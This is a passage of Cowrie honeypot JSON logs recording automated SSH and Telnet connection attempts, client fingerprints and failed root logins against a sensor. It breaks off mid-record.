{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:b3:fb:8d:a4:ae:8e:f9:5e:52:80:a1:00:dc:ae:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNwrKsHf43mWV7EJf/Pi9P0rydRZQ9p5/O2UQebpGS0by4t/4RXDbrRLSEDrmKXqqO51Dp1s9Tu+4+Xq5tLkoi3lxBH0A3rxmV0MESOiqapLj0uaY6bhSGK7v0nBmqw/8yswp3d/xCkZ+trBjSwCq4gzoQHHPVS3vh5Pl78mt1Z/TqJwziB5Psny96ZRm/h+StHksLDtHfnuRmNmDQOrICyRz8tMi9dklRpdvxApjWtMUiSsR35+MamDzHVnubjs20rMJyazvc0RMU5Dg1ruCt47VRjBW1e3XwhNus8pMS1evrcd7gKdD1Q1PTfxb1mCbzuTqV+TLmtbuKiiqUHkNH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:b3:fb:8d:a4:ae:8e:f9:5e:52:80:a1:00:dc:ae:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.031655Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:b3:fb:8d:a4:ae:8e:f9:5e:52:80:a1:00:dc:ae:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNwrKsHf43mWV7EJf/Pi9P0rydRZQ9p5/O2UQebpGS0by4t/4RXDbrRLSEDrmKXqqO51Dp1s9Tu+4+Xq5tLkoi3lxBH0A3rxmV0MESOiqapLj0uaY6bhSGK7v0nBmqw/8yswp3d/xCkZ+trBjSwCq4gzoQHHPVS3vh5Pl78mt1Z/TqJwziB5Psny96ZRm/h+StHksLDtHfnuRmNmDQOrICyRz8tMi9dklRpdvxApjWtMUiSsR35+MamDzHVnubjs20rMJyazvc0RMU5Dg1ruCt47VRjBW1e3XwhNus8pMS1evrcd7gKdD1Q1PTfxb1mCbzuTqV+TLmtbuKiiqUHkNH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.034912Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:ab:11:2b:16:8f:9b:e4:af:79:49:48:f1:51:81:b9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJFLWd1QvUyQ1bPKLI0m2CUTzj1pfXLr5jn6pwK2NU0i914MsyZg/xZHqFBclMnwDY0yDDEClw69np607LLj+yBPwnU1kDcUXSSaOn5DNVQjsaTZPigNQxjYm8yC3xuWVlr9JoghvJ5+c5Oecou0f6fBdnOYeqMRyzCeGBK2u8ixAAAAFQCZMio5Fmp57t5pEjtdx+4uW0M+uQAAAIANBIxoxWfJwDB0WuHSpeRxk5gVFbixFpYlxsLEYQ/t85sjc9s9L0/3b3EroDKicoKRv5wS6sVfXGo9L78YmyP0om9COi5ES/uK33hK278Cg9w32+yAylwOrgKPKtkx/zGWbaBWEgMJ1gPALYkF1RO4y3B8nD2GzHY+SHE/Dc73gwAAAIAMPP5BrEX8Baw3YG9Wx21SF7Rxze+FZrwXDZDXSbK34jTjACKCN2AA8KGNexlZiMcTJrnEeGer5XBze+oIElchtCaFVXR1CsOTEFFchYC/qDIpCtGDhteKNjReZwDLYYCcm0F6S+iMTmV7qv95xYKzcn9xk7GiQTp1pqxyd6nHtQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 22:ab:11:2b:16:8f:9b:e4:af:79:49:48:f1:51:81:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.066668Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:ab:11:2b:16:8f:9b:e4:af:79:49:48:f1:51:81:b9","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJFLWd1QvUyQ1bPKLI0m2CUTzj1pfXLr5jn6pwK2NU0i914MsyZg/xZHqFBclMnwDY0yDDEClw69np607LLj+yBPwnU1kDcUXSSaOn5DNVQjsaTZPigNQxjYm8yC3xuWVlr9JoghvJ5+c5Oecou0f6fBdnOYeqMRyzCeGBK2u8ixAAAAFQCZMio5Fmp57t5pEjtdx+4uW0M+uQAAAIANBIxoxWfJwDB0WuHSpeRxk5gVFbixFpYlxsLEYQ/t85sjc9s9L0/3b3EroDKicoKRv5wS6sVfXGo9L78YmyP0om9COi5ES/uK33hK278Cg9w32+yAylwOrgKPKtkx/zGWbaBWEgMJ1gPALYkF1RO4y3B8nD2GzHY+SHE/Dc73gwAAAIAMPP5BrEX8Baw3YG9Wx21SF7Rxze+FZrwXDZDXSbK34jTjACKCN2AA8KGNexlZiMcTJrnEeGer5XBze+oIElchtCaFVXR1CsOTEFFchYC/qDIpCtGDhteKNjReZwDLYYCcm0F6S+iMTmV7qv95xYKzcn9xk7GiQTp1pqxyd6nHtQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.070376Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"79:0c:96:16:86:0e:a9:7b:de:89:6f:41:52:4b:e1:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDo7CFYc7SNenLgtHol6XL8Kth/8DXsWw7nveUb7CI/5mLe11yF1VcnYQVvhQpwwsz2cm8eZnopeig09Jj74gC7IRjrq4TNgX2tVvZCWSE/arUTqa50gBUHCq3Ce8s0yb4PCXC/tPCXgnnkckgPwqKAbKZqm7lrAV0qXRCpJszdVM8N1n1/itpTnNdS6VMHadyrh9Y9dfXT9HblNRO0L+1B1N2J7wB0VbSLQqibdTG95q/cMhC5zY8SvToqhMbhG+Bbu/9jF35tzIyO6HjZ2bbxtZlBi/+7Qgj7P4sAoVL0I01tKseTcyVOaycCQyr1rLs9NcxJQLlfQIpLBcNXxktJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 79:0c:96:16:86:0e:a9:7b:de:89:6f:41:52:4b:e1:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.092518Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:0c:96:16:86:0e:a9:7b:de:89:6f:41:52:4b:e1:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDo7CFYc7SNenLgtHol6XL8Kth/8DXsWw7nveUb7CI/5mLe11yF1VcnYQVvhQpwwsz2cm8eZnopeig09Jj74gC7IRjrq4TNgX2tVvZCWSE/arUTqa50gBUHCq3Ce8s0yb4PCXC/tPCXgnnkckgPwqKAbKZqm7lrAV0qXRCpJszdVM8N1n1/itpTnNdS6VMHadyrh9Y9dfXT9HblNRO0L+1B1N2J7wB0VbSLQqibdTG95q/cMhC5zY8SvToqhMbhG+Bbu/9jF35tzIyO6HjZ2bbxtZlBi/+7Qgj7P4sAoVL0I01tKseTcyVOaycCQyr1rLs9NcxJQLlfQIpLBcNXxktJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.096375Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:47:cb:d0:cc:d6:09:db:00:19:fe:f1:a4:2b:07:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo5mjh1WRRiPE7aRmYOu27phiCSC6nTDO9dUTciC4ifQ8xIXHeLUivUWboY75CZ4wv4br36iziNV/1rluDAbyu6X/uFvSIMrRGPwRo2BKJVCpktwDbnyq+4Tdbc/Ge0FoH4qwUUy5KPsLM1X/5KSNxKAOAWwxpxnDI28bHyf0RYMIQSAeduX2oZSbYACQkb44uaK9jLWyDmLw/bTSKnXsrcZPtN9fO2DVOCJ3soxmKpPMAzXDb4NVyp/9D10KoHYct6RBXh5j4J1ha+IEFUZDmxX1ijojSM68RAc/HnD7qIQsbN3zQgixs42mcNE621s+XVzX9G/VlQYDWprUnDN4HKyzpEJs8qTzYz4upYtOF3dcZo8RZVsqi1IvJ5KEU38Hmq3vEu9gOboRFmgc7PiXfozqLWa5CQJJ7Q6o0gYSX32OgcescCglewuJX+ZV7NvI/Rabm+KqKKd3vLTBnRpWf4v4LDiplY9XE/1Ez5cXRT5e1cu6jRIoNmiCeBjIUpYAjnpWdEltGwMog0h/MoLEFmmKRZIS5iulIgrsx/9eqb3MkRCgKND9/85Q1LvckMXzPfBjRlAiCxk1t91V9DwYkfxGWPBbgEQ6BV2KofOlyzKCxaiIVMZjsT/SVvgzDqXM6IxQJK1CVBETVDYMveJsJErxM2aizovXybwOX+U2kVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:47:cb:d0:cc:d6:09:db:00:19:fe:f1:a4:2b:07:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.118387Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:47:cb:d0:cc:d6:09:db:00:19:fe:f1:a4:2b:07:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo5mjh1WRRiPE7aRmYOu27phiCSC6nTDO9dUTciC4ifQ8xIXHeLUivUWboY75CZ4wv4br36iziNV/1rluDAbyu6X/uFvSIMrRGPwRo2BKJVCpktwDbnyq+4Tdbc/Ge0FoH4qwUUy5KPsLM1X/5KSNxKAOAWwxpxnDI28bHyf0RYMIQSAeduX2oZSbYACQkb44uaK9jLWyDmLw/bTSKnXsrcZPtN9fO2DVOCJ3soxmKpPMAzXDb4NVyp/9D10KoHYct6RBXh5j4J1ha+IEFUZDmxX1ijojSM68RAc/HnD7qIQsbN3zQgixs42mcNE621s+XVzX9G/VlQYDWprUnDN4HKyzpEJs8qTzYz4upYtOF3dcZo8RZVsqi1IvJ5KEU38Hmq3vEu9gOboRFmgc7PiXfozqLWa5CQJJ7Q6o0gYSX32OgcescCglewuJX+ZV7NvI/Rabm+KqKKd3vLTBnRpWf4v4LDiplY9XE/1Ez5cXRT5e1cu6jRIoNmiCeBjIUpYAjnpWdEltGwMog0h/MoLEFmmKRZIS5iulIgrsx/9eqb3MkRCgKND9/85Q1LvckMXzPfBjRlAiCxk1t91V9DwYkfxGWPBbgEQ6BV2KofOlyzKCxaiIVMZjsT/SVvgzDqXM6IxQJK1CVBETVDYMveJsJErxM2aizovXybwOX+U2kVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.122967Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:d1:83:60:69:fc:6c:05:aa:4c:20:d8:e1:0d:d7:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDj/7Z7wBskDhs6e+LZHsAfWpoTSe6Iy8Y392Bnzjm/UIG+HbklY23YtOILKMj8t0KAD6aFIUIVWjGxUVuVbEo2eLgDwgqDQrIcj/QkmGgx3URg6T4vuiZlROJ4pDceI9coDnt1GrRWc8yivUfCBalOmTWpvKU2Q013h34OL0r9r0x5ndmvI/xNZTUBqC9mLfrw/FgXqmUv8wZGCcxn3xUeqCVbw6odX5J/QC7ng8NRCZaGxR5cG1OymDDTCkyiiuX4tNgmVVd0DUTZJoJGNOGLvbONskFvpnoeLnBn+PyKWvzA2s7JuvC3zTPpYBp0w1cXypmLx5ja4g6fCYOUPtWP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:d1:83:60:69:fc:6c:05:aa:4c:20:d8:e1:0d:d7:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.147173Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:d1:83:60:69:fc:6c:05:aa:4c:20:d8:e1:0d:d7:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDj/7Z7wBskDhs6e+LZHsAfWpoTSe6Iy8Y392Bnzjm/UIG+HbklY23YtOILKMj8t0KAD6aFIUIVWjGxUVuVbEo2eLgDwgqDQrIcj/QkmGgx3URg6T4vuiZlROJ4pDceI9coDnt1GrRWc8yivUfCBalOmTWpvKU2Q013h34OL0r9r0x5ndmvI/xNZTUBqC9mLfrw/FgXqmUv8wZGCcxn3xUeqCVbw6odX5J/QC7ng8NRCZaGxR5cG1OymDDTCkyiiuX4tNgmVVd0DUTZJoJGNOGLvbONskFvpnoeLnBn+PyKWvzA2s7JuvC3zTPpYBp0w1cXypmLx5ja4g6fCYOUPtWP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.152349Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:00.174578Z","src_ip":"142.44.247.134","session":"55740c1270b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52600,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9d2e086f7b7","protocol":"ssh","message":"New connection: 194.59.206.2:52600 (159.203.135.109:22) [session: f9d2e086f7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:03.213714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:03.217875Z","src_ip":"194.59.206.2","session":"f9d2e086f7b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:03.385890Z","src_ip":"194.59.206.2","session":"f9d2e086f7b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:03.484946Z","src_ip":"194.59.206.2","session":"f9d2e086f7b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.117.109.65","src_port":58575,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a81db76fd75","protocol":"telnet","message":"New connection: 180.117.109.65:58575 (10.17.0.5:23) [session: 9a81db76fd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:10.697241Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54668,"dst_ip":"10.17.0.5","dst_port":22,"session":"69a8f5e53efd","protocol":"ssh","message":"New connection: 27.71.230.31:54668 (10.17.0.5:22) [session: 69a8f5e53efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:26.776089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:26.792490Z","src_ip":"27.71.230.31","session":"69a8f5e53efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:27.201444Z","src_ip":"27.71.230.31","session":"69a8f5e53efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.97302222251892,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:27.218954Z","src_ip":"172.81.62.90","session":"3e021aa4b0c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin!@#123","message":"login attempt [root/Admin!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:28.399980Z","src_ip":"27.71.230.31","session":"69a8f5e53efd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:29.648326Z","src_ip":"27.71.230.31","session":"69a8f5e53efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":48330,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2e099effce9","protocol":"telnet","message":"New connection: 128.199.209.169:48330 (159.203.135.109:23) [session: d2e099effce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:22:35.370313Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38182,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab384764eaf0","protocol":"telnet","message":"New connection: 128.199.8.54:38182 (159.203.135.109:23) [session: ab384764eaf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:23.231948Z"}
{"eventid":"cowrie.session.closed","duration":50.08422231674194,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:25.454420Z","src_ip":"128.199.209.169","session":"d2e099effce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33776,"dst_ip":"159.203.135.109","dst_port":22,"session":"416458731c05","protocol":"ssh","message":"New connection: 27.71.230.31:33776 (159.203.135.109:22) [session: 416458731c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:46.305067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:46.318768Z","src_ip":"27.71.230.31","session":"416458731c05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:46.634257Z","src_ip":"27.71.230.31","session":"416458731c05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin!@#123","message":"login attempt [root/Admin!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:51.462025Z","src_ip":"27.71.230.31","session":"416458731c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:23:55.041688Z","src_ip":"27.71.230.31","session":"416458731c05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119972229004,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:10.698293Z","src_ip":"180.117.109.65","session":"9a81db76fd75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.68472981452942,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:10.916541Z","src_ip":"128.199.8.54","session":"ab384764eaf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10460,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a179049c5a3","protocol":"ssh","message":"New connection: 87.251.64.176:10460 (10.17.0.5:22) [session: 0a179049c5a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.314690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.318875Z","src_ip":"87.251.64.176","session":"0a179049c5a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac